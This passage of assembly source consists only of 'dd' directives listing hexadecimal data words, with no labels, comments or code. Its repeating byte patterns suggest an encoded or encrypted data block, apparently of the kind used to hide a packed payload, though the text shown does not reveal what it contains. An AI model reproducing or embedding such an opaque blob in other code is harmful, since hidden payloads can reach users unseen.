88321561h, 0E43C781Ch dd 0DED8C128h, 0CE8D1A3Ch, 0B2B79807h, 4B324DEEh, 223214ECh dd 0ED52ED66h, 641EFC07h, 0ADC7EA99h, 22321572h, 372E8CE7h dd 450C20FEh, 882201C9h, 26531A0Dh, 0B9725B32h, 1BCB905Dh dd 0C13D137Ch, 2232152Dh, 11339969h, 70CE1566h, 0CC4D90EBh dd 4452153Eh, 3179DEE7h, 8832108Eh, 0C610B266h, 33DB7D6Ch dd 0D0321566h, 0BA0B57F6h, 45B5ACC8h, 360B9991h, 6B4C25ACh dd 43DB7438h, 24CDEA8Dh, 22309969h, 4A621566h, 70DEDBE7h dd 14530D48h, 6F1639E7h, 9A5E3C56h, 4CB33162h, 44321562h dd 0B025863h, 4B21A0Ah, 87321566h, 44321AE9h, 2238FC66h dd 80D61566h, 910A55D8h, 4754953Dh, 0C2B37306h, 7752A35Fh dd 0E953D6EDh, 7B5DAA31h, 0E5B34FFDh, 210F4B2Fh, 3664FAB7h dd 24C2288Ch, 0A36CE247h, 8EC12FA1h, 0D7CC9CD9h, 442E9269h dd 2D521566h, 0DAE3D1h, 6F321566h, 3BCE2741h, 0CDD7CA79h dd 56766CB3h, 0F11C863Bh, 0B239743Fh, 22119069h, 9C3D1566h dd 8832156Bh, 44321D8Fh, 0E6649066h, 0E88D0272h, 62D9FC39h dd 42DBEA99h, 4321566h, 813917ADh, 0BCB9454Ah, 40F69442h dd 0CB321566h, 11321568h, 68DA3859h, 0C6AD60E6h, 0BC917603h dd 0A4BB1C90h, 8E2134C3h, 6E8A4706h, 787A5463h, 11319B69h dd 67B21566h, 0F1BB743Ch, 24212463h, 0D9B97306h, 8832018Fh dd 0BD44C966h, 1FCF2E76h, 989DADF2h, 56365642h, 0C7B901EEh dd 1CB27493h, 0FFB71A8Fh dd 87321566h, 44321DE7h, 20BD1A66h, 71321566h, 8944EA07h dd 0E41639E7h, 7D0A8A2Fh, 6AAAAC37h, 97B2C04h, 0E725E87h dd 0BFF39455h, 1035486Fh, 33524CA9h, 2572B1D2h, 22321A8Fh dd 21931D66h, 0D96F98E9h, 6B6A946Ah, 3A703C1Eh, 3DD9407h dd 90B382Bh, 0D56FB089h, 0A3C51479h, 806FB0A1h, 9AF59479h dd 0AD0B382Bh, 22321574h, 3DDEBAB3h, 0B02275A7h, 74A0E32Fh dd 0DD9CF5F0h, 4763EE88h, 761621E7h, 1D3CB65Ch, 18CCE4E7h dd 0DABB1BC5h, 3260E93Fh, 3D1021C1h, 7769F7E7h, 0E3B3421Ch dd 0D9104165h, 0A6D6E7h, 0F13378A9h, 55A6FEE7h, 876878A9h dd 443209E7h, 0E2887566h, 0F835AC32h, 88321576h, 86C647A5h dd 45163865h, 0A006A428h, 0F949C944h, 0E18F2E07h, 2D340647h dd 11321FE4h, 7309ED66h, 44359369h, 0CBC71566h, 0EECDFCF7h dd 7D8F9E9Fh, 24340678h, 222B9769h, 5DB1566h, 321566h dd 0FBAC7FA9h, 0CBF5380h, 7642CD35h, 0BF5C94ACh, 259F3F7Bh dd 383790A1h, 11321375h, 61521566h, 44321576h, 6D110D20h dd 0AD4D7647h, 2E4602B5h, 0B6B27230h, 2232138Fh, 0CBFDA66h dd 0E9678C9Eh, 1E617506h, 0AB53E2EDh, 20310D3h, 883EFC60h dd 25921566h, 0C3B87991h, 84116BEDh, 5C71ECAh, 5F2720FBh dd 0C8B37560h, 3BCA8376h, 88321B8Eh, 0EE7C0B66h, 0F53A369h dd 40ABF9CCh, 0D7E7BD96h, 0ADE1EA07h, 22321577h, 40B51C44h dd 7B7B6AB0h, 40694899h, 8263BC50h, 1EF21E4Dh, 88322BE2h dd 4423FC66h, 6E281566h, 8E86734Dh, 182100ADh, 10CA7782h dd 429943F4h, 11319369h, 373D1566h, 41B01A91h, 44321566h dd 443ECBE7h, 88A0FC07h, 4CDB1566h, 0CA321566h, 609825B0h dd 50CBA11h, 5CBF98FBh, 2222FC60h, 8F211566h, 26FB5400h dd 0F88DA1A0h, 4C0FEAF5h, 0C2CD91FDh, 77779669h, 4BDBEA99h dd 0C6321566h, 62A5540Ah, 5ED5B0D9h, 4BDA3723h, 97B9FF62h dd 17212463h, 8832108Fh, 65C83C66h, 0DB529C46h, 5A8D7306h dd 0E9E89EE5h, 41879C07h, 0CB34067Ch, 11321563h, 642DC3D7h dd 86AF98DAh, 0DE340CF1h, 0F852C699h, 88321575h, 1B403E8Eh dd 7958AFE6h, 8835DADDh, 21F12D0Ch, 250D47C2h, 39790EDh dd 71CA1375h, 8832138Eh, 785E6466h, 2DFC7F39h, 113215EAh dd 8B8D4C66h, 2518518Bh, 133790EFh, 0F9521375h, 88321574h dd 4AAB26A6h, 0EE4C3FB2h, 0E493927Fh, 0B55879B1h, 8EB3CB0Dh dd 14432CEEh, 30E19538h, 8EDB7407h, 5B321566h, 2D2AC717h dd 0F90C95D2h, 88E19069h, 55DB1566h, 10321566h, 78EB98B5h dd 192513AFh, 44B17DC9h, 0C2F134C9h, 11321A8Fh, 7867F266h dd 4F0BB80Ah, 0A676FD07h, 108F33DDh, 873FA8E5h, 4B321375h dd 223289E2h, 19B31A66h, 87321566h, 443217E0h, 4A537566h dd 11321290h, 3D1619EFh, 1DDA9D8Fh, 22339F69h, 0BBC71566h dd 0D01A7D9Ah, 48BB1566h, 0ABC39C42h, 1ADB4CAEh, 55321566h dd 0CC5D4CFBh, 9DAC7FA9h, 0B31F5380h, 0A1548338h, 0E689469Eh dd 23548338h, 1ECB4EBEh, 88321BEEh, 443BFC66h, 0DB491566h dd 8EC479C5h, 0DF36577Bh, 443211D9h, 496C3866h, 0E91B556Eh dd 80594B63h, 0EFC74A26h, 750FAF06h, 0AA5454F8h, 61538CC9h dd 443217FBh, 2232198Fh, 63D74D66h, 57B6BD2Fh, 0BBFE5116h dd 0F6AF981Ah, 1E340F9Dh, 88321DE4h, 46BE1A66h, 42321566h dd 1EE1EA07h, 883219E6h, 42BA1A66h, 2D321566h, 113215E8h dd 0CDAF9866h, 24340E76h, 0F046AA00h, 0CDFD9400h, 5BCD74D5h dd 443B9E69h, 44521566h, 888EFFE7h, 83534F34h, 76B71AA6h dd 0CB321566h, 11321576h, 10D36C3Eh, 5FDE1940h, 9D44EF2Ah dd 0B67D6C28h, 8832418Fh, 56B21A66h, 2D321566h, 113219E0h dd 8835FC66h, 0CA1566h, 841174F2h, 14B796BDh, 8D340657h dd 44321B8Fh, 0A5131E66h, 6A21331Fh, 0EB2AE58h, 0ADA076F8h dd 0DDCDEBE7h, 1DA4506h, 0A1321566h, 0C35BCA95h, 0B7700197h dd 8232E2B3h, 0D0C6F285h, 8A8D1A3Fh, 1AF9807h, 1E340E74h dd 883214E8h, 97CDE066h, 223C9B69h, 18DB1566h, 0DC321566h dd 4CFE4AE8h, 8F8D3EF5h, 943DD56Dh, 8832153Bh, 44229F69h dd 29DB1566h, 0F8321566h, 973D1CDCh, 12A4AB09h, 0CB52C2B1h dd 11321561h, 0EAE34CA1h, 0ADF49AC5h, 22321563h, 0B1930D42h dd 0CDDB743Dh, 24321566h, 2232058Eh, 41BD4866h, 3FA7813Eh dd 17D72BDh, 0E89D7677h, 11B41A3Fh, 0D2321566h, 44349869h dd 0E9B31566h, 5DAB3637h, 8C894607h, 45321566h, 62E9EBCh dd 0E936D1E5h, 8833258Fh, 45B11A66h, 0DB321566h, 9CBF88EBh dd 252137Eh, 0FA5442A9h, 436C8B97h, 923DC699h, 88321554h dd 44389969h, 27DB1566h, 6D321566h, 64276F2Ch, 7537A0EDh dd 2D521375h, 113213E4h, 0EDD09466h, 2510A26Eh, 221FBD8Fh dd 12B11A66h, 0E8321566h, 0C9B9749Ah, 24212463h, 11299169h dd 0E8521566h, 4420FC07h, 0BA441566h, 5F773FC3h, 84FE3641h dd 80CE84D4h, 586655ACh, 14879C07h, 87340657h, 44321DE9h dd 20BE1A66h, 71321566h, 98B41A07h, 24321566h, 2232108Eh dd 792D2766h, 876C6075h, 1253C2D9h, 0F67914D8h, 0E8DC947Bh dd 9216526h, 63EC090h, 42F49406h, 103EEB9Ah, 791B4B97h dd 470FFCE7h, 4AC76243h, 11321566h, 0C1611E7h, 6D7E9B75h dd 0EB3316Ah, 9F219142h, 87524C2Ah, 443211EBh, 648B7366h dd 16DB754Fh, 9E321566h, 0F74696Ah, 4353437Bh, 3C8DD3E7h dd 66B37643h, 63A1A29h, 0E4B3DB4Fh, 533A1A29h, 0A58DFBE7h dd 0C03D7643h, 22321567h, 0E996E69Ah, 77CEBD8Fh, 4439FC99h dd 87421566h, 721F85D4h, 0A9AC810Dh, 8BAF98FAh, 0D7340CFFh dd 9D3DC699h, 88321567h, 57997D93h, 1EBB1566h, 19DB4D42h dd 0AD321566h, 2AA583B7h, 0CB67AF0Bh, 11321563h, 0A8F9595Ch dd 0B1B73E75h, 0CB340678h, 11321577h, 56543080h, 16A7541Ch dd 3F8EA420h, 0C39C0F7h, 11B79CF0h, 0AD34064Fh, 22321561h dd 0A492EE21h, 3607D7Eh, 572CE0E3h, 34B31A60h, 0F8321566h dd 88321577h, 7FDD7E8Ah, 97A8EB94h, 84CEC5ECh, 0DEC839C9h dd 0A3BB42E5h, 2236D2E7h, 0FEB31566h, 88321562h, 181629E1h dd 2D1629EFh, 113201EDh, 80DB7566h, 0C0321566h, 0D1B8039Eh dd 772F5310h, 0DD37C5E7h, 7C727D07h, 26BB1566h, 1BE1A42h dd 0E8321566h, 4432138Eh, 56D2C966h, 4AA956EFh, 553FDD5h dd 5DA9F8EBh, 23B61A60h, 0E8321566h, 3CEC499h, 573E04E3h dd 0F2B87560h, 0AF31C7E7h, 0DD5322B2h, 81B3F0EFh, 22321562h dd 9636F8E5h, 16E314Ah, 48DB3162h, 0D321566h, 53131997h dd 93D9E06h, 13226C9Fh, 0E5B3F2EFh, 11321562h, 8836FAE7h dd 78B51566h, 1EBB4942h, 0D9B27542h, 88E1956Ah, 4B627507h dd 223215E0h, 0AF544D66h, 35386D2h, 572CE0E3h, 2221FC60h dd 53F81566h, 0D28525Dh, 5E13E121h, 0E34B6D39h, 8DE3DECDh dd 68BB454Fh, 44321163h, 22363866h, 15B51566h, 8CBB4942h dd 49B11A42h, 42321566h, 0D2F59400h, 88BB1A94h, 25321566h dd 0BF0298EBh, 7152137Fh, 84DB7406h, 94321566h, 0BF416875h dd 0D03A6FF9h, 0E9E32E42h, 44321B8Fh, 58462E66h, 3AD53579h dd 0C2FE5495h, 250C76CCh, 0A63DC499h, 11321570h, 8832048Fh dd 3033A766h, 7F8BA11Eh, 8D7E7083h, 344F07BCh, 0A8B18B4Fh dd 6369C62h, 0C81621E7h dd 0D26AE407h, 25EBE7E7h, 0CB524D97h, 1132156Ah, 0FB9D3744h dd 0AEA1CCD1h, 749DCA6Fh, 4153C3EDh, 0E31611E7h, 1D386F0Bh dd 4F59AB30h, 0E01B1F1Ch, 82DB7538h, 27321566h, 83918965h dd 9278025Fh, 8BB61A4Ch, 4B321566h, 953CFD9h, 23E04EBh dd 84BE1A60h, 4B321566h, 223213E0h, 11B81A66h, 0B321566h dd 573BF4DBh, 0A63D1560h, 113215F6h, 8EB71A06h, 4B321566h dd 223215E3h, 9C3D7466h, 88321567h, 49B79E9Ah, 0D7340643h dd 18D3904Dh, 86DB1375h, 9D321566h, 2665BE0Bh, 93C68714h dd 6C0225FAh, 4BF32E64h, 223246E0h, 10B21A66h, 74321566h dd 679B90EDh, 27DB1375h, 93321566h, 170467C6h, 44321E8Fh dd 97305066h, 9BAAD064h, 6DFA11C3h, 4DD39065h, 2DCE1375h dd 113214E8h, 0DBBE066h, 42211597h, 2348FC9Ah, 1CDB1566h dd 4B321566h, 0C1D802BFh, 926242F1h, 98076010h, 8831C90Eh dd 603E9C66h, 2237FC06h, 830C1566h, 3A32DEEh, 0CD6574BEh dd 16B342A9h, 0CA35C642h, 5B074D20h, 1B74CE61h, 95E79506h dd 70F4A269h, 0A5ADAE35h, 0AFB34A56h, 7D0238C6h, 0F869CD67h dd 88321569h, 2B9314AFh, 22010CC6h, 45F91599h, 0B323821h dd 58BB118Ah, 2DCDAE42h, 0C93B1566h, 3765E93Dh, 44321567h dd 0CB6DED67h, 11321560h, 0DA8FB7Ah, 0C1BB37A1h, 2421306Bh dd 11359469h, 0B3D1566h, 44321567h, 1FB7149Fh, 0F834066Fh dd 8832156Dh, 0B5C14E44h, 0A0D0B6Eh, 0D6A0693Eh, 9B3BF4E3h dd 44321560h, 0AB3D7566h, 11321564h, 6060C3EDh, 4432156Dh dd 77BCBF11h, 0FA83FAA7h, 0D3BB43E6h, 458743Eh, 223E9F69h dd 913D1566h, 88321560h, 44329D69h, 225A1566h, 71321576h dd 0E9FCA793h, 442CD70Eh, 63E9C66h, 0F8327F9Eh, 8832156Fh dd 3FA8092Bh, 1379CF21h, 0B8A7EA38h, 8734067Bh, 443214E5h dd 0DDC7E066h, 21EC8F3h, 84BE1A60h, 24321566h, 4DC6BAD8h dd 83D5AD59h, 15331FFh, 5711BCE3h, 24DB7560h, 0D9321566h dd 8B5D8F9Eh, 0D48D736Eh, 0A73D7402h, 1132156Bh, 88BE1A06h dd 22321566h, 8C5FD6E7h, 0E0B79C07h, 7D340666h, 171619EDh dd 0E1B3F6EFh, 11321562h, 0F36D6E5h, 0BD6E317Ah, 22C3A099h dd 71CA1375h, 8832138Eh, 0CC56FD66h, 0CAD97F4Ch, 1132156Dh dd 7A177F22h, 2B37F8DEh, 7A7B11E2h, 1137FC3Fh, 298C1566h dd 25F93968h, 2E23A099h, 79C71375h, 883233B9h, 0B11629EFh dd 24B71A06h, 90321566h, 2C3AEABEh, 9C851A32h, 0D787EA07h dd 0E4340678h, 30BC90EBh, 4B52137Fh, 223218E7h, 1135FD66h dd 745B1566h, 0AD0EC31Ah, 0DD534FA6h, 9C33EDB6h, 8E211C87h dd 44389169h, 27DB1566h, 0D2321566h, 152AE507h, 44C3A8EDh dd 0A13D1375h, 1132156Eh, 52F09406h, 2500CC20h, 2E23A0EDh dd 1CDB1375h, 4A321566h, 8B402E09h, 0E6657E32h, 8D6C821h dd 8832018Fh, 679D8766h, 92E5BCB2h, 3E66A631h, 67B3B822h dd 0FA8D997h, 4296E617h, 9FBFAD00h, 3DB97493h, 42210CEFh dd 0CA52B893h, 11321575h, 85823851h, 3AC16751h, 394249BDh dd 3B9AAA26h, 84D956Ch, 0AD6A79ADh, 22321572h, 0A3173FE3h dd 12B16F76h, 9E237F1Eh, 8E72A793h, 6E932462h, 883CFC07h dd 0DA531566h, 5E76B582h, 80BBF738h, 18FFCC4Fh, 42FDAA31h dd 64F54A1Ah, 6D34DA9Ah, 74894639h, 45CDEA99h, 79092495h dd 113AFC39h, 0CAD31566h, 879D27C6h, 0E2F314F0h, 48657563h dd 8CDE9407h, 0CD321566h, 48C3152h, 0D00C4D20h, 4EB31180h dd 0D79DA2CFh, 426CE567h, 11321D8Fh, 213F2F66h, 0D02329F8h dd 2CDB749Ah, 0A2321566h, 14D61F30h, 3C4614D4h, 0C76FACD2h dd 0A8B71603h, 0E834066Dh, 0CF530AD2h, 3132E4EBh, 0DA8B7560h dd 617FFD32h, 44321568h, 9CDF86ACh, 48C7FE62h, 0DE847F71h dd 2453F7D1h, 7363749Eh, 41371DFh, 0AC7E1447h, 44BD4C62h dd 3563DE7h, 0DB3473h, 7A321566h, 8A3B8E1Fh, 0B3692DF4h dd 0B537B58Dh, 0BAE91148h, 2C62ECCBh, 70523DDEh, 901611EDh dd 883211A2h, 6C8A3866h, 64BB4706h, 0F8CB4D9Ah, 88321561h dd 7449281Ch, 0AB8C913Fh, 22B9CD3h, 82B01A60h, 0AD321566h dd 22321563h, 0BF002C24h, 77CA96DFh, 44B79069h, 0CA521566h dd 11321560h, 65FEF4Bh, 0FF5433F0h, 2D6BF312h, 0F853EED9h dd 8832156Eh, 76925787h, 23A4D6C9h, 0CCEF2BE7h, 0D3DC8BBh dd 44321531h, 22321E8Fh, 92D79E66h, 4ACC7FC9h, 64BEE553h dd 9C644693h, 16F65C5Ah, 4C7B29DDh, 1AC13C61h, 42690BEFh dd 155A4407h, 0D1321566h, 4B6BDB67h, 22321EEBh, 1134FC66h dd 0E2FE1566h, 0AF96E5FBh, 3BBBA0EFh, 0F8CB1375h, 77CDC171h dd 58BFAD06h, 9A542471h, 0D0537187h, 83DB16A6h, 89321566h dd 13A8A751h, 66DA6F19h, 0D31032Ah, 42211EDFh, 223E9569h dd 953D1566h, 88321560h, 44329769h, 9FB11566h, 172125EFh dd 1BB61A67h, 4B321565h, 223214EBh, 2FB3E066h, 2298BFCCh dd 44979069h, 32DB1566h, 52321566h, 1CA2B61Bh, 677784CBh dd 617097CCh, 7939BA6Ch, 88327F9Fh, 0FE1601EFh, 22321562h dd 1E68C367h, 883212ECh, 45BA1A66h, 0D7321566h, 6F35A833h dd 55C5503Dh, 0A1E3C091h, 2180F0E7h, 907F01DAh, 3BCDEA8Bh dd 2BD4066h, 0A13D489Ah, 11321574h, 883E9F69h, 43DB1566h dd 49321566h, 1C584933h, 7003FCBFh, 0BC03D257h, 0AAF19406h dd 0F86E42E5h, 88321575h, 6622CF6h, 0D3EDDE1Fh, 0B6A333Ah dd 0D293C776h, 2540CA10h, 73DBA235h, 0D9BAECEEh, 61C74E3Fh dd 44321526h, 22339F69h, 20C71566h, 0B9F5249Eh, 4082E99Eh dd 0CAF2FC42h, 0D0814665h, 0A469CD6Eh, 59B51ABFh, 42321566h dd 1132018Fh, 3727CA66h, 53F09571h, 50C657CBh, 699B8A44h dd 70B98EF5h, 2585A0A1h, 227B270Eh, 35369C66h, 8832188Fh dd 0C10F066h, 33DF7956h, 1E2C0D3Dh, 35B196BCh, 42210F13h dd 74B61A67h, 71321567h, 18E99431h, 1B61292Eh, 7053CFEDh dd 66887D30h, 96C384Dh, 0B037F80h, 8C49404h, 98121E56h dd 58BB4B94h, 443EFC3Ch, 0F4011566h, 340EA73Fh, 0CFE88EB2h dd 0F9B144E5h, 2428816Fh, 26B61A66h, 7D321566h, 895888EBh dd 4452137Fh, 0D3B8CBEDh, 87607507h, 443215EAh, 33DB4C66h dd 0A1321566h, 0E14615E4h, 284A69F8h, 0DB93F613h, 1E19563Fh dd 87E1EA07h, 443214E9h, 1DB2E066h, 43B61AF6h, 61321566h dd 44321576h, 7E024D8Ah, 97DFDE51h, 657453C7h, 0EBF57D75h dd 2237A833h, 0FEB31566h, 0B9465BE0h, 83B3FA67h, 13465BE0h dd 2BB1A3Bh, 61321566h, 44321568h, 3D7DF4C0h, 0F73503C9h dd 5005D6F8h, 0EBDBE122h, 42321567h, 77EBA269h, 2D62CAE7h dd 14CA9607h, 22459769h, 9C3D1566h, 8832157Ah, 86851A06h dd 2232078Fh, 0E6897666h, 0DD39B8F0h, 9DCEC1Ah, 6C910648h dd 70B447B3h, 38A6A734h, 1EE23D8Dh, 0E231F5A6h, 9E36128Eh dd 88389B69h, 24521566h, 22BA1A07h, 70321566h, 888C75CCh dd 0C550BEEFh, 0D207E588h, 15B97443h, 6EBB4342h, 4436D3E7h dd 0E4B31566h, 11321562h, 0D41621E1h, 1ECA4506h, 8AC9AD00h dd 0F8CEBF07h, 883215D6h, 6006EA93h, 26F6963Eh, 7752BF9Ah dd 871D89DFh, 443214EBh, 0A253E966h, 1EDBEA19h, 88329AE3h dd 0ACCA7566h, 22321577h, 62528FBDh, 9C8AF670h, 0D9DC1C1Dh dd 94F22F8Ah, 1123FC0Ah dd 5E551566h, 0C8401A3h, 13FE83A2h, 0EECEA77Fh, 0D64F7F4Ah dd 4D8F9607h, 22340FF2h, 111E9169h, 5C71566h, 5DFE55FBh dd 223FFC60h, 0B77B1566h, 4CF0F237h, 15A19B26h, 0DDB8B50Ch dd 0AE3D75B5h, 8835FCBFh, 0B9601566h, 63D5F3E8h, 0A863741Eh dd 88321562h, 0CC60EC67h, 78239DA4h, 0BC1A3Fh, 61321566h dd 4432156Ah, 859B91A4h, 739DBEA3h, 0CD80AD47h, 44C390EDh dd 30DB1375h, 0C5321566h, 696CF855h, 93A6D771h, 141AB893h dd 1133D393h, 8823FCDBh, 0B5041566h, 51D22473h, 671124F0h dd 62016E50h, 694E08CFh, 5DC96FF4h, 142C1A4Bh, 8DCA3C7Ch dd 5E370B69h, 0D9488763h, 113BFC19h, 47D51566h, 0A421B095h dd 0A1B3F163h, 0DBB118Ah, 8836AE42h, 9C1B1566h, 2238FC3Dh dd 78611566h, 0C428A95h, 8EC50A81h, 429FE9CDh, 1CDAE6EDh dd 0B7321566h, 7EFE8404h, 9C50EFC6h, 22E96675h, 0D8637438h dd 2C3C09DEh, 44F2AC36h, 0D033A99Ch, 7474D23Eh, 495061BAh dd 7BCE5B57h, 0EA6BFC9Ah, 0E3DEA99h, 44321561h, 22339569h dd 98CE1566h, 9B2B9CD3h, 43B11A60h, 2D321566h, 113214E7h dd 164E066h, 40F49480h, 0A1321566h, 25B51188h, 9CBB4942h dd 4CBB1A42h, 42321566h, 11329469h, 0E0531566h, 44329566h dd 223E9E69h, 9E3D1566h, 88321560h, 44329069h, 0A53D1566h dd 1132157Fh, 8832018Fh, 711B1066h, 7683FBF3h, 0F353D003h dd 0EEFAFA44h, 6263A23Dh, 2D327F1Dh, 113212E1h, 3547566h dd 25F59E98h, 2F1BA099h, 1ADB1375h, 0F1321566h, 102A54E1h dd 6A9D6494h, 84CDB5F1h, 8E211453h, 44359869h, 0A13D1566h dd 11321567h, 0AC06EA9Fh, 40F6963Ch, 6BBF9E9Eh, 71340676h dd 8832058Fh, 92DF0E66h, 1887DF05h, 863F579h, 86B63CF4h dd 225274BFh, 0A354CDEDh, 705C1C8Dh, 8832AA31h, 7DBB1566h dd 0A11629EDh, 46CB11A2h, 883211D9h, 0CFCB1466h, 0E6B3315Ah dd 11321562h, 40851A06h, 44321E8Eh, 92DE6666h, 1A0CDE74h dd 64CADF2Ah, 44329069h, 436A1566h, 58BF9C9Eh, 61340676h dd 44321560h, 32D71351h, 0FEDB4091h, 71CDEAA1h, 4418EB8Fh dd 4252ED66h, 0F885F2E6h, 88321569h, 8813FB23h, 53FC334Ch dd 24E1EFB5h, 0E92FCA61h, 547B98EDh, 74521375h, 11329869h dd 0E8691566h, 4432018Fh, 0F1E94666h, 62C0FB62h, 625F8BCEh dd 0F00C9FE5h, 59D6D231h, 0CE851ADFh, 0DA617407h, 443215DCh dd 78E19C66h, 1AB9DE67h, 89B91A3Dh, 0BC321566h, 0B63798EFh dd 0F852137Ch, 88321575h, 0B8A6045Ah, 0E7AD7B9Fh, 0F69843F5h dd 0F3488DF3h, 0ADDCBA01h, 22321576h, 4589771Fh, 0EFDE8D11h dd 581AF6A0h, 0E7BCBC1h, 5F0A9407h, 877E5132h, 44329CE3h dd 223BFC66h, 2A111566h, 0E68B42E0h, 22007939h, 6E366DE7h dd 7EB71A48h, 74321566h, 60369436h, 46967D52h, 68F4038h dd 918E418h, 9B7553ABh, 27D7D45Fh, 0D4B3C091h, 0CD386A08h dd 0B88BE0E7h, 0CC1BB4D8h, 40CEEC3Bh, 883213DFh, 0CFFC1466h dd 0E6B3316Ah, 11321562h, 883A9769h, 0C43D1566h, 22321564h dd 94B97406h, 8E2101ABh, 4127FC9Ah, 0A13D1566h, 11321574h dd 8832188Fh, 18AA1266h, 737636F9h, 0D9CA2313h, 9629E7Fh dd 4E33152h, 706C0B87h, 92728EDCh, 0C2C0942Ah, 75607766h dd 72CA4FB0h, 901601EDh, 883211A2h, 0C5527566h, 1740098Ch dd 20537479h, 83B11AAFh, 24321566h, 22329169h, 9A541566h dd 719E74B1h, 0C03D155Ah, 22321429h, 1E1F299Eh, 77CDF8E2h dd 4420FC99h, 62101566h, 94A5C65Ah, 1ACBCD94h, 961FCCAFh dd 0BB18A9Ah, 0C8C49406h, 32A1491h, 6A0E74A5h, 22D39169h dd 2DCB1566h, 0ADB01A56h, 24321563h, 2CDBF0ECh, 0E7321566h dd 0A03083E4h, 0A05F5D43h, 0B1C53B0Fh, 280E74EEh, 77AE9369h dd 0ADCAEA99h, 22321574h, 3C71CE05h, 22C56A02h, 33BA7268h dd 0DC72C18Ah, 500EA0BEh, 8CD49769h, 0CB3D1566h, 2232156Bh dd 11321D8Fh, 0B5A5AE66h, 0CE4EA550h, 2D6829F7h, 0EECD74E0h dd 43D7599h, 44321565h, 99E59E00h, 36A43A4Fh, 876D2907h dd 0BBCD5CE2h, 0AB3D7599h, 11321565h, 61EC9E00h, 44321563h dd 0A08381B2h, 715274D1h, 0E8F9A269h, 0FC547407h, 1E53FDB1h dd 98B01A07h, 70321562h, 4B48299Fh, 0DDCD00E0h, 2BA1A99h dd 61321566h, 44321568h, 0A699E9F8h, 0CE3FFD56h, 85AFFCE5h dd 0C93D8124h, 22321567h, 1568FC9Fh, 0D3D1566h, 44321561h dd 22339D69h, 44CA1566h, 883214DBh, 19D81466h, 0D00BE99Fh dd 15089169h, 0EE521566h, 1753E6EDh, 0DDCDEADDh, 4AE81499h dd 898A459Eh, 45321566h, 0CBC74DA7h, 0EECDEBD4h, 9C8B7306h dd 0DFF4ABE9h, 0A7530B2Bh, 18B61AAFh, 87321562h, 443212E5h dd 23B01A66h, 0E9321566h, 65CBAA06h, 25CA1C1Bh, 227BA0EBh dd 9A3D1375h, 88321577h, 4432198Fh, 3F07B466h, 4B5F1BF6h dd 4115114Ch, 92BB4362h, 16B9E4EFh, 15F69442h, 87321566h dd 443212EAh, 43527566h, 70F1AA69h, 16B4737h, 0AC524CA9h dd 2232156Bh, 0D370EE7Fh, 3CFF20B7h, 2FB2A3DAh, 223DFCD5h dd 0AEAC1566h, 0A6BF5380h, 2342CD35h, 155C94ACh, 40534A7Bh dd 0BE821DD3h, 48B9FD4Eh, 26F69642h, 11349569h, 3521566h dd 25E49E95h, 0DF47BB93h, 11339E69h, 0E8CE1566h, 0A90FAF00h dd 0A35364D7h, 0D241D28Fh, 7DB946Ah, 6D642A2Ah, 0ADF3949Fh dd 90642A2Ah, 4B41D2A7h, 443FFC6Ah, 93571566h, 50CBEC67h dd 7ADF6A7Ch, 15A91696h, 0D56F4C33h, 0E8DB92BBh, 0E731FAE7h dd 0ABB300D3h, 630502F7h, 0D6B3DA4Fh, 0C90502F7h, 2B31D2E7h dd 0A03D00D3h, 1132156Fh, 36E69F06h, 145120DEh, 223BFC07h dd 9E541566h, 0BFDB9805h, 13C62048h, 226E010Eh, 35069C66h dd 61524B39h, 4432156Ah, 5CEAB4C6h, 0ED437434h, 0C8850142h dd 44379969h, 0EE8D1566h, 70734C9Eh, 6196E69Eh, 4432156Ch dd 0FFDAF5E6h, 0DBDC5909h, 952C034h, 92A12F8Ch, 0C5B37367h dd 795311B0h, 88325480h, 0F41611EFh, 0DD759D66h, 9CCAEC3Eh dd 9B325CF3h, 4422FC60h, 0AF221566h, 0C24D02Eh, 75D35155h dd 77EF713Dh, 0A13D6DE2h, 1132156Ah, 88349A69h, 0C03D1566h dd 22321566h, 0FE790EDh, 0DC71375h, 0C6B71AA6h, 0DB321566h dd 0D390A0h, 61751375h, 44321569h, 8D21CF99h, 0AA838ADCh dd 0A09925BBh, 2CCACB52h, 0F6A8B2B4h, 1AD89506h, 88321A8Fh dd 0C1B86D66h, 0CD19F611h, 7EB28F1Dh, 0B27AC9AFh, 0AD87EA07h dd 42340678h, 8F2AC3E7h, 71B977F3h, 77B79807h, 0CB34031Ah dd 1132156Ch, 69D29A0Bh, 3BEBCEE7h, 0DDCAC574h, 19B81AB6h dd 87321566h, 443217EEh, 0CB537566h, 1132156Bh, 4F4899C4h dd 0A695D5B7h, 1DEC19Eh, 0F6BB42E5h, 8836D2E7h, 0ABB31566h dd 22321562h, 4D1629E1h, 611601EFh, 44321576h, 0CD5B22BCh dd 0FC6971EFh, 0C50CA070h, 87E49818h, 0A43DC599h, 1132157Eh dd 8832068Fh, 4D52C566h, 0B46A3733h, 0FA9F631Eh, 0A3400ADAh dd 9BC87BAh, 0A73DD5E3h, 113215B9h, 0E9FC9E06h, 55DF90EDh dd 2BDB1375h, 80321566h, 2842AE28h, 720ED76h, 0A73DD5E3h dd 11321532h, 8832138Fh, 0BEAE7966h, 0E4B18B40h, 223F4E3h dd 0F3D5960h, 4432156Eh, 44D09F06h, 7030DEDFh, 522EFC0Eh dd 0F1CDECBFh, 24210B8Fh, 22B79893h, 0E834031Ah, 0B5851A35h dd 24B31A3Dh, 90321566h dd 3E4A7E97h, 94CD742Eh, 2232128Fh, 7A75A766h, 87A1D9DEh dd 0C5D19C35h, 223211A5h, 15D99466h, 0F321566h, 0CD6E317Ah dd 0A2523172h, 9A54E380h, 58CD74BEh, 44359C69h, 0A13D1566h dd 11321567h, 82BF1A9Ah, 0AD321566h, 22321563h, 7C6A8AEDh dd 87F29092h, 443233E3h, 32B71A66h, 71321566h, 8832128Fh dd 8DB45066h, 0A7A9A053h, 0F8537406h, 883215DEh, 7C8C7306h dd 5092AF63h, 9853617Ah, 92A610E3h, 4BCE7560h, 4A53DDD1h dd 11324B2Ch, 0E81611EFh, 79B3FBE7h, 43C71F0Ch, 1142690Eh dd 0AC069C66h, 4432108Fh, 9B284666h, 94BF8AADh, 8E2487ADh dd 443B9669h, 0D7521566h, 2B90DAE7h, 875371EFh, 443218E4h dd 223AFC66h, 39AA1566h, 413DF69Dh, 94CD9F5Ah, 2232078Fh dd 57201866h, 0A35BCE17h, 0D3FEC94Bh, 0DA11A632h, 1A715CC9h dd 97B71AA6h, 0B8321566h, 22323A8Fh, 1126FC66h, 2911566h dd 0A09E3538h, 1EBD6C68h, 0EE671176h, 78B75829h, 0BB47DAh dd 0A03D0942h, 1132156Ah, 88349A69h, 0C93D1566h, 22321566h dd 1ECB7507h, 883215E9h, 0BDF17466h, 0AFB9EC06h, 